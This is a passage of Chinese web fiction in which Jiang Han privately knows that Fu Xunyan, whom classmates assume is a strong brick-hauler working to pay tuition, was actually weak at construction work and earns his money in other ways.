“什么这么想?寻砚选完宿舍那天上楼很轻松的样子,虽然他只有一个行李箱,但很重吧?我那个我拎着都不轻松。” 江瀚寻思了一下达裴那个后来在叶莱的查寝vlog里处境的行李箱,竟是些个头虽小但密度极大的东西,甚至连5kg的哑铃都有,遂表示了沉默。 有时候以己度人不是个好习惯。 傅寻砚只拎一个箱子,不是因为他压缩了体积而把很多东西放进一个箱子,有没有可能,他真的只有一丁点东西? 江瀚也不想丢傅寻砚的脸,哪怕他很快就会自动丢脸。 于是他只是拍了拍达裴的肩膀,告诉他没关系的,他应该遇不上傅寻砚。 “喂你也太瞧不起我了,我一定能到决赛和他一战!”达裴瞪着眼睛不甘心锤了江瀚一拳。 江瀚:太冤了,我实在是太冤了! 傅寻砚的身世两个节目里的人基本都知道了,所以他们默认傅寻砚是个贫穷、为了上学默默搬砖才能凑齐学费的高体魄人才。 加上他那身骗人的薄肌和手上的薄茧,要是江瀚不知道实情,也会产生同样的误会。 但他偏偏知道。 这个世界上的打工,除了搬砖,有没有可能还有些不需要那么大力气的? 比如抄书员? 傅寻砚之前说的工地打工确实做了,但很可怜的是他搬一天砖还不如人家半天。 不过工地包饭,傅寻砚果断留下了。 所以他收入的大头可不来自于白天那几块砖,当然也就没有某些人想的那么厉害……